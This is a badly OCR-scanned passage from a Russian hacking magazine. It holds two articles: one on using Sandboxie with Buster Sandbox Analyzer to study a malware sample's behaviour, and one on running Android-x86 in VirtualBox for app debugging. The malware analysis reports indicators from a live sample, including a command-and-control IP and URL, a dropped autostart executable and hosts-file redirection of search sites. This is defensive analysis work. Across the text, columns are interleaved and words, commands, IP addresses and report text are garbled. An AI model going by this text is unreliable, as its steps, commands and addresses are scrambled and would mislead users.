Первый отображает практически пол­

ный список вызовов

API,

выполняемых програм­

-

сокращенный список. Сокращение

позволя етускорить работу и уменьшит ь журнал, который затем придется анализировать. Лично я не боюсь больших логов, зато опасаюсь того,

что какая-нибудь нужная инфа будет заботливо «сокращена», по этому выбираю

Verbose.

Именно

эту библиотеку мы и будем инжектировать. Чтобы зловред не смог заметить инжект библиотеки по ее имени , применим простейшую меру предо­ с тор ожности: сменим имя

LOG_API _VERBOSE.dll LAPD.dll. окне Sandboxie выбираем

на любое другое, например Теперь в главном

« Н астроить

-7 Редактировать конфигура­

цию ». Откроется т екстовый конфиг со всеми

ца »

интегрирована в систему .

ПРАКТИЧЕСКОЕПРИМЕНЕНИ Е Попробуем наш инструмент на реальной угрозе. Чтобы никто не упрекнул меня в под­ тасовке, я поступил просто: зашел на

ma lwaredoma inlist .com

www.

и скачал последнее,

ресует- его пропускаем и листаем дальше.

что там появилось на момент написания

Затем идет раздел, имя которого совпадает

статьи. Это оказался премилый файл рр .ехе

с названием « песочницы » Iпусть это будет BSAI . Сюда мы и будем добавлять плагины:

с какого-то зараженного саЙта. Одно только название внушает большие надежды , кроме того , на этот файл сраэу эаорал мой антивирус .

мой, включая обращения к файлам и реестру, второй

плагин вручную, воспользовав­

шись файлом

да на удаление которых поступает от исходно­

Как интегрировать их в «песочницу»? Поскольку

Sandboxie: -7 Перезагрузить конфигурацию». настроим сам плагин Buster Sandbox

« Настроить

::".4--.,.............. - -.. . ::.;~'::..~

Таким образом, все временные файлы, коман­

(

---=:..- .

-~-_

виатуры и мышиl;

функции, отвечающие за удаление файлов .

-

-_М

[BSA] InjectDll=C:\Prpgram F.iles\Sandboxie\ Plugins\sbiextra . dJJ. . Inject.o:I.l=C: \Progr.aJJ1 Files\Sa[1dboxie\ Plugins \antidel. dll. InjectD1.1"c: \Program Files\Sandboxie\ Plugins\LAPD.dll OpenWinClass=TFormBSA Enabled=y ConfigLe.v el=7 BoxName:ritle=n BorderColor=#eeeeFf . NotifyInternetAccessDenied=y . Теmр1.аtе=JЦосkРоrt.s...

К слову, все наши манипуляции лучше произ­ водить при отключенном антивирусе, иначе мы

рискуем заблокировать/удалить что-нибудь из того, что исследуем. Как изучить поведения бинарника? Просто нажимаем правой кнопкой

на этот файл и выбираем в выпавшем меню пункт Run BSA. Откроется окно Buster Sandbox Analyzer. Внимательно смотрим в строку Sandbox folder to check. Все параметры должны совпадать с теми, которые мы указали при

настройке

Sandboxie, то есть если песочница BSA, а в качестве пути к папке был задан параметр FileRootPath=C :\ Sandbox\%SANDBOX%, то всё должно быть получила название

РОRТАВLЕ-ВЕРСИЯ «ПЕСОЧНИЦЫ» Безусловно, многим не понравится, что надо что-то ус танавливать, настраивать и т. д . Так

По сути, этот файл представляет собой файл н астроек

Sandboxie,

как меня всё это тоже не прельщает, я сделал

обрабатывается и передается программе ,

портабельн ую версию инструмента, который

а по окончании работы перезаписывается

Templates.

Если же параметр имеет, например, такой вид:

который должным образом

FileRootPath=C: \Sandbox\%SANDBOX%.

можно запускать без установки и настройки ,

обратно в

прямо с флешки. Скачать такую версию можно

файл «Блок н отом», то ты вряд ли найдешь

системный диск, то « песочницы » будут

здесь: tоо l s . sаfеzопе . сс/gjf/SапdЬохiе-рогtаbIе.ziр .

что-то интересное. Нужно обязатель н о

создаваться на зтом диске .

Для запуска « песочницы» достаточно выполнить

обратить внимание на шаблон $llnstallDrive),

скрипт

start.cmd,

а по окончании работы

не забыть выполнить скри пт

stop.cmd,

который

полно стью выгрузит драйвер и все компоненты

Если открыть этот

повторяющийся в ряде пара метров пути . Особенно нас интересует параметр

FileRootPath.

Если он имеет следующий вид:

На строек у самого портабелизатора совсем

template, находящегося

038

в

Sandboxie .ini. папке Templates.

Лично я рекомендую всегда создавать песочницы на локальны х диска х . Это ускоряет работу инструмента, а при запуске с флешки­ замучи ла паранойя, что хочется всё за пускать

и анализировать на любимом носителе ,

FileRoot.Path=$ (Insj:allDri ve). \ Sandbox\%SANDBOX%

который ты носишь у сердца, то параметр

не много: его работа в основном основана на манипуляциях с файлом

иначе говоря в нем указан определенный

ускоряет на порядки. Е сли же тебя настолько

из памяти, а также сохранит внесенные в ходе

работы изменения в портабеле .

-

можно поменять, но т огда хотя бы используй

-

то «песочницы» будут создаваться

на диске, где находится портабельная

Sandboxie .

портабельные жесткие диски , чтобы всё безбожно не тормозило.

ХАКЕР 02/157/2012


Игры в « песочнице»

Мulw.lle

BehflvIOur Anolyze' Module

Det&iled ,eportofMpicioualМhrrмfeactions:

DеГned

fie twe CfUt8d of modfl8d in Wndows foldor

Defned" t}'P8 CleМad of rnodfl8d

УЕО

ОеГned

УЕО

Iio t,ype cceMed 01 modll8d inAutoSl4t1 bc~

Qe.ud fie n defi'IOd fOIder. C:\DOCUfII!fU.wI SellingalAo.~paтop\l~ Settngs\T f!JЩJ\М..~

De4Iedliondefnedfoktet:С:\DocunenbandSel~~ОР~Settngs\ТeщJ\д8. iщ) CrМled fiendelined lolder.С:\D~. onds etti'9s\До,l'tИIИCТратор\L.oc~ Sel~I\Тemp\дС.1Jтp Dцtedliein dafnedfolder.C:\DOOA'I'I6I'UandSeltinge~paтop\L.~ Sel;ting.\Temp\Дf).~

DOo1Ited procen: С:\Оocunem lII'Id setti1ga\Atu.oим:rратор~ D.в\фlo!iyм.fDI8."С:\Оownenb .nt Setmge~parop\дppbtion IМ

.0 .0 .0

DefnedAutoSt_1ie a e4ted of modfl8d Defned r~дutoS!4tt bcam ae.ud or modfl8d SinUal:edk~d 01 tnCIU8еqц

Detnedlielype ae4ted in~Ioc«ion:С:\ОoшnonI:. ond sdti9WUtef.\[noettOe мetlO\Л~~\фIl&oми. De&1edfieЬоре CfеМed:С:\D0CI.I'I'Ief'b 6l'ld setti'lgl~ор~Det.\фIIyм.ехе

Defned Iie Iype Cfe4t8d; C:\Doa.mettt..t settinga\Aaминнc:тpmор~ DIJI..\~II Del:ectedkfl)Ologgel~

Delected pюcen p!iyiege eIev«ion GotcornpJtet netne

УЕО

comection 10 Inte,"eI: дttemptlolo«l.,...eтc*ivet

•0

дttempl. loendWnd0W8 eouion

.0

St«t8teМce

.0

GoI:I48flVJfl)8nCl!JМlion

GotYOk,.meПoirмtion н. Iiolюm н. lie fюm

УЕО

к_ _

УЕО

.0

Backdoof~

.0

M-...Ane!ym detection ,QW,e

user: С:\ОOCI..tI'I8I'Ib .vd Seuing.~ратор\Дppic4lion Det.\фIay$vr.8Х8

Risk evaШtion ,еМ: High

УЕО

De6IionOfopezW1g ole .eМceorevent

• URf: C\Ooc:ument, &nd SettngtW Um.\ГlIOOное момо\Пpor~~\фIayм'.,,*

HicIe Iie 'ют uset: C:\Oocunentl мd Setti-9~ратор\Дppic4tiQn Du\dpl4yx.cI Host.1ie JI'IOdified: С:\WlNDOWS\8ydemЗ2\diyeq\elс\hosb Inlemel. COI'InI8Ctim: Comoct. ш'190.з.Э5.1З9" on polt 80. Listed .. entr)' мme. n .. remote accмs ~ book Opened .. 8efvice n«ned: RдSМдN Оpened., tel'vice rwned: R emoteдcce •• Opened .. service nemed: Rouef Opened ...vice мmed: Sem П.exeaAabIe_detectedЬу lII't ~1JI;8Oftw«e: 5vondcn lrom Yiustol:.tcom (2011 ·12·12 12:54:22(UTCD

УЕО

Отчет о проведенном анализе

Чеклист подозрительного поведения приложения

как на скриншоте « Работает

Analyzep>. Если

Buster Sandbox

1.

щениях и назвал песочницу по-другому или

на ст роил пара метр

FileRootPath

на другой

В окне

Sandboxie

не отображается ни один

выполняемый процес с . Это означает, что

же ты знаешь толк в извра­

2.

су httр://190.9 . 35.199/viеw.рhр?гпd=787714 , вредонос создал специфический мутекс

выполнение программы явно завершило с ь.

G4FGЕХWkЫVАNг и т. д. Можно не только

В спи с ке АРI-вы з овов долгое время не по­

просматривать отчеты, но и извлекать все

ди ск или папку, его нужно изменить соответ­

явля ется нич е го нового или , наоборот, одно

файлы , созданные в ходе выполнения. Для

ств у ющим образом. В противном случае

и то же выводится в циклической после­

этого в окне

довательно с ти. При э том в окне

кой по « песочнице» И выбери « Просмотреть

Sandbox Analyzer

Buster

не будет знать , где искать

Sandboxie

Sandboxie

нажми правой кноп­

что-то еще выполняется. Такое бывает,

содержимое » . Откроется окно проводника

если программа на с троена на резидентное

со всем содержимым нашей « песочницы »:

по анализу и изучению процесса выполнения

выполнение или попросту зависла . В этом

В папке

бинарника, вплоть до перехвата сетевых паке­

случае ее необходимо вначале завершить

мые на физических дисках « песочницы » , а в

новые файлы и изменения в реестре.

BSA

включает в себя массу настроек

тов . Смело нажимай кнопку

вручную , нажав правой кнопкой в окне

Start Analysis. Окно

пер е йдет в режим анализа . Если песочница,

Sandboxie

на соответствующ у ю « песоч­

папке

drive

user -

на х одятся файлы, создавае­ файлы, создаваемые в профи­

ле активного пользователя [%userprofile%l .

выбранная для анализа, по каким-то причинам

ницу » И выбрав « Завершить программы ».

Здесь я обнаружил

с од е р ж ит результаты предыдущего исследо­

Кстати , при анализе моего рр . е х е произо ­

текой

вания , утилита предложит предварительно ее

шла именно такая ситуация .

мененный файл

очи с тить. Все готово к з апуску исследуемого

После этого можно с м е ло выбирать

файла .

Analysis

в окне

Finish Buster Sandbox Analyzer.

Готов? Тогда нажми на изучаемый файл выбери « Запустить в песочнице » , после чего ука ж и ту « песочницу » , К которой мы прикру­

получим некоторую с водную информацию о ре­

тили

зультата х исследования . В моем случае вре­

BSA.

dplaysvr.exe

с библио­

временные файлы

hosts.

tmp

и из­

Кстати , оказалось, что

в него добавлены следующие строки: 9.~...RJ.2'Щ,lJ7..

АНАЛИЗ ПОВЕДЕНИЯ Нажав на кнопку Malware Апаlуzег,

правой кн о пкой мыши и в открывшем с я меню

dplay x.dll,

w.ww.. gQQg;l,.~ .. cQrn......... _._ ...............

9.4 . Q~.• ?48.•.1J.8.. www.. biOg,_com ....... мы сразу Учти , что в « песочнице » валяются за­

раженные файлы . Если их нечаянно запу­

доносность файла была совершенно очевидна :

стить двойным кликом , ничего не будет [они

поб е гут АРI-вызовы, которые будут фиксиро­

в х оде выполнения создавал с я и запускался

запустятся в « песочнице » l, но если ты их

вать с я в лог-файлах. Обрати внимание, что

файл C:\Documents and Sеttiпgs\Администра­ Top\Application Data\dplaysvr.exe, который

Сразу после этого в окне анализатора

сам

Buster Sandbox Analyzer

не знает, когда

куда-то скопируешь, а потом выполнишь

...

хм,

ну, ты понял. Здесь же, в папке, можно найти

завершится анализ процесса, фактически

добавлялся в автозагруэку [кстати, именно

дамп реестра, измененного в ходе работы,

сигналом к окончанию служит именно твое

он не хотел завершаться caMI, происходило

в виде файла

жмакание на кнопку

соединение с

перевести в более читабельный геg-файл при

Finish Analysis . Как

же

190.9.35.199

и модифицировался

узнать, что время уже наступило ? Тут может

hosts-фаЙл. Кстати , при этом на

быть два варианта.

файл детектировали только пять антивирусных

VirusTotal

движков, что видно из логов .

Всю информацию о результатах анализа можно получить непосредственно в меню

Viewer

в окне

Buster Sandbo x Analyzer.

RegHive . Этот

файл можно легко

помощи следующего командного скрипта:

~~.9_.ЬQ@...НК~r-1.~!Jч!J~.1!JJ.gрQ)~.u!J.u... В.~gН;i,.\'g...............

.R~G... f)(РQ!П .. I:!К.~М\.u!J.u~.i;lлg.RQ~!J.u.у...~1!оg.RQ~,.r.~g КЕ G..I.т LQ,t.D...HK bl1~.t,I.U!J ~.1!JJ.9РО)щY.U ......... _ .... __ ..... _..

OQ.1;gpil.<;!.. яш.gР.Qх.•.сgg ....................................._...............

Здесь же приютился и журнал АРI-вызовов , который, безусловно , будет полезен при подробном исследовании. Все результаты S~_~ОТOбpIDao",т~".......~r_npo~ ~._ .

S!JОтOlp8ж8,.tp8НИЦ)I-..yt_.

8

Окна, программ запущенные в песочнице, теперь будут выделяться

ХАКЕР

02/157/2012

Таким образом, ты получишь

sandbox.reg,

в котором указаны строки, внесенные злов­

х ранятся в виде текстовы х файлов в подпап­

редом в ходе выполнения. После выполнения

ке

анализа выбери в меню

Reports

папки

Buster

SапdЬох

пункт Сапсеl

Analyzer. Особый интере с представляет отчет Report . txt [вызывается через View Reportl, в кото ­

analysis,

ром при водится расширенная информация

будут удалены, но содержимое «песочницы »

по всем файлам. Именно оттуда мы узнаём,

о с танется на месте . Впрочем, при следую­

Options

чтобы вернуть всё как было. Учти, что

после этой операции все журналы анализа

что временные файлы на самом деле были

щем запуске программа сама предложит все

исполняемыми, соединение шло по адре-

удалить.

I

039


PCZONE

Антон

«Ant» Жуков

la . zhukovГrJreal .xa ke p . ru J

Более подробную информацию об

нах

утилите ADB и всех ее параметрах ть!

можешь посмотреть

на официальном

сайте -

blt.lvl2s9bOJ.

КАК ИСПОЛЬЗОВАТЬ ANDROID НА ОБЫЧНОМ КОМПЕ Как запустить мобильные приложения на компьютере? В пакете для разработчика

Android

есть специальный эмулятор,

-

он тормозит. Прямо скажем,

сильно тормозит. Но, к счастью, уже довольно

на платформу рс.

Android

открыты

-

такова политика

Поэтому у любого желающего в принципе есть возмож­

разработку своей собственной ветки . Многие знтузиасты активно выпускают патчи, реализующие дополнительный функционал , которого нет в оригинальном

Android . «patch hosting for android

Именно так появился проект

support ,>.

давно ведется работа над интересным проектом по портированию платформы

Google.

ность взять за основу исходную версию мобильной ОС и начать

позволяющий пощупать мобильную ос. Одна проблема

ANDROID -X86 Как известно, исходники

х86

Разработчики планировали выпускать патчи для под ­

держки х86- платформы . Но после нескольких месяцев работы они

Android

поняли, что способны на большее, чем просто поставлять патчи .

Так появился прое кт

Android-x86I www.android-x86 .org ) - спе­

циальная версия мобильной ОС для запуска на самом обычном компьютере. у

Android-x86,

как и у

Android ,

есть разные ветки.

В качестве тестовой платформы выбран культовый нетбук Еее РС, но фактически не имеет значения, куда ты будешь устанав­ ливать проект. Это может быть как компьютер, так и планшетник

или ноутбук 'К проверенным устройствам относятся A5U5 Еее, Viewsonic Viewpad 10, Delllnspiron Mini Duo, 5amsung Q1U, Viliv 55, Lenovo ThinkPad х61 TabIet). Последний билд даже имеет под­ держку Wi-Fi . Впрочем, если установка Android на ноутбук - зто, скорее, баловство , то установка на виртуальную машину может прин ес ти вполне ощутимую пользу, особенно тем , кто хо чет попробовать свои силы в разработке под

Android , так

как по с ле установки им

будет намного удобнее тестировать приложения 'правда, придется мириться с некоторыми ограничениями, например с отсутствием

эмуляции акселерометра). Предлагаю перейти к практике.

УСТАНОВКА НА ВИРТУАЛКУ 1. Пре жде всего стоит пойти на официальный сайт и выбрать под­ хо дящи й образ. Все образы представляютсобой LiveCD. 2. Выбрав подходящий исошник lя скачал android-x86-2.2-r2-asus_ laptop.iso), можно при сту пать непосредственно к установке под вирт уальным окружением, например под бесплатным VirtualВox

I www . viгtuаIЬо х . огg ).Запускаемегоисоздаем новую виртуаль­ Пара метр vga=ask позволяет вручную выбрать НУЖНЫЙ видеорежим

0'0

ную машину со следующими параметрами :

ХАКЕР

02/157/2012


Android

Создаем раздел ДЛА установки

на х86

Список доступных видеорежимов

Android-x86

в ее нас тройках прим о нтированный исошник Апdгоid-х86 [что­

Имя: Andl:'_ !1id __ ОП!!Р'iЩИОН-':1;!1I__ СИС;Р~J"iI :_ Цrщх

бы грузиться уже непосредствен но с жесткого дискаl и запуска­

8еР.с..,я:

O'tl1l1r

ем заново. Система предложит два варианта загрузки: обычный

lJам_ять_:

:1Ц_ Мб

Жесткий д.,_с!<:

Liпщ(или !Дпuх~,б)

и

debug. Выбираем первый из них и получаем загруженную под виртуалкой АпdгОid-систему. Если утебя вдруг не заработает

3 r:!i _

мышка, зайди в меню « Машина » И выбери п у нкт « Выключить

В настройках виртуальной машины нужно прописать загружен­

интеграцию мыши» [то же самое можно сделать нажатием

ный нами образ

Ctrl + 11.

Android-x86

в качестве ОVО-привода_ После

Right

этого виртуалку можно запускать .

З.

4.

Когда виртуальная машина загрузится с

LiveCO, ты

В общем-то, на данном этапе мы достигли поставленной

сразу видишь

меню для выбора вариантов загрузки. Чтобы просто запустить

цели

и посмотреть ОС, достаточно выбрать

ставить всё самое последнее, скажу, что версия

«Run Andгoid-x86 without

Android

на обычном компе. Для тех , кто любит

4.0

имеет статус

devel,

Апdгоid в качестве обычной ОС, выбираем последний пункт­

ки. Например, почему-то одновременно показываются графиче­

« Iпstаllаtiоп 71пstаll Апdгоid-х86

ская оболочка и консоль. Не знаю, баг зто или фича, но работать

to harddisk».

так что в ней могут присутствовать различные недоработ­

После этого появится меню, предлагающее выбрать раздел для

в такой ОС очень неудобно. Образ

установки системы. Так как разделов у нас еще нет, выбираем

что в нем отсутствует поддержка Еthегпеt , которая была мне

пункт «Create/Modidy рагtitiопs», в результате чего запустится cfdisk_ Создаем новый раздел [первичныйl, выделяя

нужна для отладки приложений. Но если цель всей затеи

под него все свободное пространство , и ставим разделу флаг

остановился на ветке

BootabIe _По сле этого из системной утилиты

3.2RC2

хо рош всем, кроме того,

-

про­

сто поиграться с Апdг оid, то сме ло можешь выбирать его. Я же

2.2.

можно выйти , не за­

ИНСТАЛЛИМ ПРИЛОЖЕНИЯ - что дальше? Стандартный набор при­

быв записать изменения.

6.

загрузили

installation». Поскольку нас больше интересует установка

обычный

5.

-

Теперь можно выбрать созданный раздел для установки в него

Итак, система работает

операционной системы. Указываем тип файловой системы­

ложений, поставляемый вместе с ОС, быстро приедается. Да и

ext3, устанавливаем загрузчик GRUB и делаем директорию / system доступной для чтения/записи. Затем можно либо за­

жатыми в каких-то рамках? К сожалению, Апdгоid-х86 не может

разве мы ради того поднимали Апdгоid-х86, чтобы оказаться за­

грузиться в Апdгоid, или создать фейковую 50-карту, что тоже

использовать Апdгоid

делается довольно просто. Всё, что для этого от нас требуется,­

тех производителей железа, которые имеют лицензию

указать объем создаваемой карты .

По этому новы е приложения установить не так просто, как в

На этом установка завершена. Выключаем виртуалку, убираем

Апdгоid-телефонах. Тем не менее разработчики Апdгоid-х86 по-

Market -

эта опция доступна только для

Google .

НАСТРОЙКА ЗВУКА И ВИДЕО Звук. После установки Апdгоid-х86 звук

Видео. Операционная система Andгoid

х86

2.2 [HDPI! ». Далее

нажимаем «е» для

очень часто перестает работать. Я тоже

ориентирована на широкий круг девайсов,

обнаружил эту проблему, когда зашел на

от смартфонов до наручных часов. Очевидно,

меню, в котором следует выбрать запись вида

что устройства имеют разные размеры и,

«kегпеl/апdгоid-2.2/kегпеl

оказалось не так страшно, и замена звуковой

соответственно, разные размеры экрана,

Опять нажимаем «е» И В конце строки через

карты в настройках виртуальной машины

поэтому было бы здорово протестировать

пробел дописываем

на «Iпtеl НО

разрабатываемое приложение при разных

ter для

сбой . Если же простое решение не помогает,

разрешениях . Сделать это совсем несложно.

этого на экран будут выведены все доступные

FAQ, где описано, как эаставить работать ICH АС97 под ViгtualBox [bit .ly/v4H7YQ !.

Во время запуска виртуальной машины надо

видеорежимы, останется только выбрать

Youtube

посмотреть ролики. К счастью, всё

Audio»

позволила устранить

на официальном сайте выложен

ХАКЕР

02/157/ 2012

дождаться, пока

GRUB

предложит варианты

загрузки ОС, и выбрать в меню пункт «Апdгоid-

редактирования записи. Появится еще одно

/quiet

«vga=ask».

гoot

.... ».

Нажимаем Еп­

сохранения и «Ь» дЛЯ загрузки . После

нужный и ввести его номер . Например, режим 1152х864х32

VESA обозначен

как 34С .


PCZONE i(l: / 11 \11 ~ 1. с Г ~' !. ~ )~ ) .0.0 .0 111' 1/;.0.0.1 I l l t l /1 [ ./1)1, 10.0.!..1', '11' (, .') .0.0 IJlIlJN е, ').() () 1.1,1 (!IJtJII !'()(IC(.,IIH\I'IJ i (\ : / 11 111: (1: Irl ('(Н) I,(""I!!III'II j (1' / 11 111 :1,{' 1'1 ,'1.1,1 ,1I,,1' ,II'! i I Jli 11111,\1' ",( i 11'(\ ,'11111,1 1 i ti ,\ j'1/llf11111 ) 1 J j'IIIJ1)"',lllllr'IJi(!:,' 11 III'(TI'I/ 1:1.111 Iljf f'(IIJU~\III(lj'll

111 <:I.I,() ,,11,1

,,))

ОхО()()()()()1')

О

ОХОf)()()

О) ()ОО()

,.

1 ()1': 1 О()I.

1"

111' 111' 111' "(НI ,,,iJ.I\](lr'IJ i (\: /

предустановленным GDBserver'oM, который можно найти в /sbin/gd-

111:1,1 t'ц

11.';. () о 1 1t , 1() О. . ~ )f ) . 101 1'11.. 1 " 11

bserver. Таким обраэом, у нас есть возможность использовать GDB

1.',', (). О. () /1,1)

/. ~II I • /.

;1,1.

/1,)1)

ОхОООООО1')

~ )~

I

.0

()х(JОООIИ::

. !. I 1 ~ )

.f)

О,ООО(Jl()'П

для отладки приложений на удаленной машине. Для этого, опять

же, необходимо поднять сеть между виртуальной и хостовой ОС как показано выше и запустить

GDBserver:

rQJ,~t@'!lJ.droi.q_;j jСЕ9.R_s_~r\(~.С ___5.УJгt!J_,ЙJ!о_х .JR _,!dd_re s~.?_ :_lZ34__ .\ . ._____ lи_с;:.!J.Q!J.t\!В~~_~lй_. Ф_<l.!1Д_ ..IJR.I!Ч19),~~_НI<!Я __~ ._ЛQlIны!1__ .!J>,ТI:, .J<' __ti~.I'1>' 1 __ ._____ .

Настраиваем локальную сеть в Android

старались максимально упростить процесс установки сторонних

Можно также воспользоваться опцией " --attach pid", чтобы присоединиться к процессу, который уже запущен.

приложений:

1.

GSDSERVER

Не могу не отметить, что Апdгоid-х86 предлагается с

!

crHJI,f.i,\iHIClli(!:/1I

ОТЛАДКА ЧЕРЕЗ

Сначала надо разрешитьустановкусторонни х приложений из

неизвестных источников. Идем в «Settings -7 Applications-7

Далее мы можем ПОДКЛlочаться к нашей виртуалке с обычной машины. Запускаем

GDB:

Uпkпоwп sources» и ставим здесь галочку. Е с ли не включить зту опцию, то, попытавшисьустановить приложение, мы получим

сообщение, что установка заблокирована.

2. Если известен адрес для скачивания приложения , открываем

И подключаемся к удаленному серверу :

браузер и скачиваем программу. После завершения загрузки кликаем на скачанный файл для установки. Появится окошко с

просьбой подтвердить установку приложения . При удачном рас­ кладе после нажатия Install наше приложение начнетустанавли­

Работает!

ваться. Почему при удачном? Потому, что некоторые программы могут быть несовместимы с Android- x86. В таком случае поста­ вить их не получит ся.

Итак , открываем раздел « Сеть» И настраиваем там два Чтобы еще больше упростить поиск приложений, можно вос­

адаптера:

пользоваться утилитой АпdАррStоге, которая поставляется вместе с Android-x86. Это своего рода аналог Android Market: весь софт

Дда!J:r~R ._1_._:::_.N_.i\Т_._-<,I;!_._I;!j1.RI>,аJI~I:!ОЙ .I1;ЩI. и _tiе будет Bj1Ae.I:! __ KaK .

здесь разбит на категории, а любая программа устанавливается в

еtnJl~ .. )J,JJя _ ~J:tЛRнеI<I.).,... M<I.!JIeR .. 2. _:::_..I;!~Rтуа!J~J:tыЙ_ <lдiшт_ер . xQ~JA (1;! .. _I;!~Р.'У,!Jl~J:t9Й . ~<I.!!I.~J:t_~ ...будеI __ l;!иде_I:! __ как _et-'JJ~ .. ДЛЯ._.ОТJJ.адки _лриложенхй) .

два клика .

НАСТРОЙКИ ДЛЯ ОТЛАДКИ Итак, мы установили ось, поигрались с интерфейсом Android , заинсталлили программы, которые хотели посмотреть ,

-

пора

Для продолжения требуется ре бут системы. По умолчанию

Android х86 не может работать с двумя сетевыми адаптерами,

переходить к более серьезным занятиям . Я из начально собирал­

но это легко исправить . Идем в меню для запуска приложе­

ся использовать та кую систему как платформу для тестирова­

ний, переходим в «Settings -7 Configure Ethernet » и выбира ем

ния разрабатываемы х приложений, поэтому расскажу, как это

«e thO dhcp », после чего снова перезагружаем виртуалку. После

делается.

загрузки необходимо перейти в консоль. Делается это очень

Первым делом нам понадобится настроить сеть, причем в нашем случае она не совсем стандартная. Апdгоid-система должна иметь

доступ винтернет Iчто просто необ ходимо при написании сетевых приложений), а так же еще одно подключение к локальной сети,

просто, с помощью комбинации Alt + Fl .. . F6IAlt + F7 вернет нас

в графический интерфейс). в консоли необходимо выполнить следующие команды:

через которое мы МQГЛИ бы связаться с нашей виртуальной машиной

COQ1;@!!lJdrQ:!.JJ.;J._# леj;~fg

для отладки приложе ний. Ethernet нужен, чтобы настроить NAT в

1.0 _... _. Ч!'.. _. _..__ JП ._e .Jl,J._ e1;h~_.U.f> ___ ... 1Et,J~_..~.,J_~_. __ ._. __

виртуальной машине и полноценно пользоваться интернетом.

255.e.e_,~_

.

255.255.255.е

ехееееее49 ~xee~_e;l.e43

ЕСЛИ НУЖНЫ ТОЛЬКО ПРИЛОЖЕНИЯ режиме, и они реально не будут тормозить .

только что созданный ярлык . Всё, программа

запустить только Апdгоid-приложения

Платформа позволяет запускать десять

установлена

[скажем, популярные игрушки), создан

приложений, которые идут в комплекте с

приложения, правда, не установятся из-за

во многом уникальный проект

Bluestacks IbIuestacks.com ), разработка которого ведется

ней , а также устанавливать дополнительные .

проблем с совместимостью . Некоторые другие,

Это делается очень просто. Заходим в папку

например Апgгу

совместно с компанией АМО . Идея в том,

с установленной программой, находим

компанией

Специально на тот случай, если нужно

-

ее можно запускать. Некоторые

Birds и Fruit Ninja, помечены Blue5tacks как «премиум­

файл HD-АрkНапdlег.ехе и создаем для него

приложения», которые можно будет установить

воссоздать окружение мобильной ОС для

ярлык на рабочем столе. Далее скачиваем

тол' ько при использовании грядущей платной

нативного выполнения программ. Что это дает?

интересующее нас приложение для

Ты можешь запускать игры в полноэкранном

'В виде арk-пакета) и перетаскиваем его на

чтобы не змулировать ОС

Android, а полностью

Android

версии программы. Однако куча других игр

установится и запустится без проблем .

ХАКЕР

02/157/2012


Android

ej;h], QQWN

e.,.\j., e.\j.......

" Android OMc~ сnooш

. ... \j. е ' .1;\'.1;\ .....

$t:lect 111 drvicC! compatibIe with u rget Android 4.0.

..gtM.. . (IQWЛ ... rQоt@flш;1гоJ d.;I ltпеtсJg e.t-'11 dllcP. <Jсtiоп ._ ' dhcp.:... faH~.<;I .. (il'1\1gJid ..,н·gЩl1~лt) СQо:t@<Jш1гоir;l:j # п~:tсfg ..etJJ], ЦР. ..... гооt@,шgгоi.d :I . #... пеJсfg :\.9 UP 127 . ~,. e. 1 2 5.5.• е. е.& . .......I;\хееееее49 ethe ЦР . ],е . е ..2 .. 152.5.5., .255. ,.255 ,.~.... ~.хе.I;\~ЮI;\'п eth1 Up .....1,92. ],ч8 .S6 ..],!n .. 255. ;155 ,.255.е ....ехЕщ\j~),~~ц ..... r9Qt@<J!J<;Iroi r;l:J #

на х86

o~:t.cfg

@ Choosf: I ru пп iпg Android device

AVDN,me

St:rialNumber

IJ emulltor·55S4 IW192Jб8.56JОИ555

~

Х 2п

N!A

Debug

Stltf:

y~

Ontine

Yes

Online:

l.aunch I пм Android Virtufll Оме !

AVD

N , m~

APl l~el

Pllltform

TlrgetNlme

СРЩдВl

No AVD .v,il,bj~

Теперь, как ты видишь, у нас подняты два интерфейса: один для

выхода в Сеть, другой для отладки приложений. Остается только настроить последнюю .

[Rdr"esh : '--_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _---'~.!n'gel ...

ОТЛАДКА ПРИЛОЖЕНИЙ ДЛЯ дальнейших действий нам понадобится

Android SDK

который

ОК

EJ Us ~ slme device 'о, future I.!unches

11

C4nc~1

придется загрузить Ideveloper.android .com/sdk / index.html ).

1.

Скачиваем ар х ив

android-sdk_r16-windows.zip

и распако­

Выбираем на каком эмуляторе будем отлаживать написанное приложение

вываем. Заходим в получившуюся папку и ищем директо­

рию

platform-tools. Ага , такой

нет. Придется запустить

SDK

Мапаgег и установить недостающие инструменты . Выбираем

соппесtеd

«TooI7 Android SDK Platform-tools». После уста­ новки должна появиться папка platform-tools, которая нас и

to 192.168 ..5.6.1131: 5555

к атегорию

2.

После этого можно просмотреть список уже подключенных

устройств , набрав команду:

интересует .

В папке надо найти утилиту АОВ. Аббревиатура АОВ расшифро­

вывается

KaKAndroid Debug Bridge !Отладочный мост«Андро­

и д » ). Так как операционная система от Google принадлежит к семейству

Linu x, для ее

настройки часто необходимо исполь­

зовать командную строку. Конечно , существуют программы

-

с :.\.<J!J.drQJg.~.sd k cwJndoW~.\platf.orm с t.Qol S.~9gJ:>... pevJc е 5 .

Lis.t .of. deyices....a.ttach!O'.d . ......dеviсе 192.,19(\ ..5.9 , 1е1 :.2555 ..devj,ce еЛ!у1i!tоr ~.5. 554

зм уляторы терминала , которые позволяют выполнять команды

прямо на устройстве, но , во-первых, на маленьком зкране т е лефона это делать неудобно, а во-вторых, иногда требуется

Здесь emulator-5554 - дефолтный эмулятор от Google, а 192.168.56.101 :5555 - наша виртуальная машина .

доступ к устройству через компьютер. В этих и многих других с л у чаях программа АОВ просто незаменима . Она устанавливает

4.

С этого момента наш эмулятор доступен из

Eclipse, и его можно

с вязь междуустройством и компьютером и позволяет прямо на

использовать для тестирования приложений, что нам и требова­

компьютере выполнять различные манипуляции с системой

лось .

Android . 3.

Для того чтобы подключить новое устройство к системе, надо

ЗАКЛЮЧЕНИЕ Что я могу сказать после месяца использования

ввести:

Android-x86?

С

одной стороны , проект еще немного сыроват и некоторые недо­

i!.r;I.b .. С.Qолесt .J9.2.•.168.,.59 ,.11;\;1. ........................... _.

работки заметны невооруженным взглядом . Версия

4.0 удивила

своим интерфейсом, в котором консоль торчала поверх графики .

Версия

3.2 на первый взгляд не имела глюков в плане графики, но 2.2

не позволяла поднять сеть для отладки приложений. И только удовлетворила всем моим требованиям.

С отладкой тоже всё непросто: этот способ однозначно быстрее эмулятора

SDK,

но полноценно отлаживать приложения лучше

всё-таки на настоящем девайсе. С другой стороны, это шикарная возможность запустить \"'1

"""

У

Android

на своем компе и понять все его

11 YLII VI .... UI'"' ,",UIII,:-,')

достоинства и недостатки, протестировать популярные приложе­

handгoid

ния, не покупая телефонов и прочих девайсов.

Crouchlng Panda

:J:

APPHU

Crystal War maгydev

